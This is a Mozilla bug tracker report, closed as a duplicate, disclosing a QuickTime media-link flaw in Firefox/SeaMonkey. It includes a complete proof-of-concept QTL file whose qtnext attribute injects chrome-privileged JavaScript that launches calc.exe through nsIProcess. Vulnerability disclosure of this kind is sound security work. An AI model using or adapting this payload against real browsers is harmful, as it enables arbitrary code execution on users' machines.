Closed Bug 395989 Opened 17 years ago Closed 17 years ago

Mozilla crash, possible OS crash

Categories

(SeaMonkey :: Security, defect)

defect
Not set
critical

Tracking

(Not tracked)

VERIFIED DUPLICATE of bug 395942

People

(Reporter: tw_2tha_itch, Assigned: dveditz)

Details

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727) Build Identifier: Mozilla firefox 5.0 It seams that QuickTime media formats can hack into Firefox. The result of this vulnerability can lead to full compromise of the browser and maybe even the underlaying operating system. Don\u2019t try this at home. <?xml version="1.0"> <?quicktime type="application/x-quicktime-media-link"?> <embed src="a.mp3" autoplay="true" qtnext="-chrome javascript:file=Components.classes['@mozilla.org/file/local;1'].createInstance(Components.interfaces.nsILocalFile);file.initWithPath('c:\\windows\\system32\\calc.exe');process=Components.classes['@mozilla.org/process/util;1'].createInstance(Components.interfaces.nsIProcess);process.init(file);process.run(true,[],0);void(0);"/> Reproducible: Always Steps to Reproduce: 1.Just go to a website with it 2. 3. Actual Results: DO NOT WANT TO ATTEMPT
Dup, publicly reported, so no need to keep private.
Group: security
Status: UNCONFIRMED → RESOLVED
Closed: 17 years ago
Resolution: --- → DUPLICATE
Status: RESOLVED → VERIFIED
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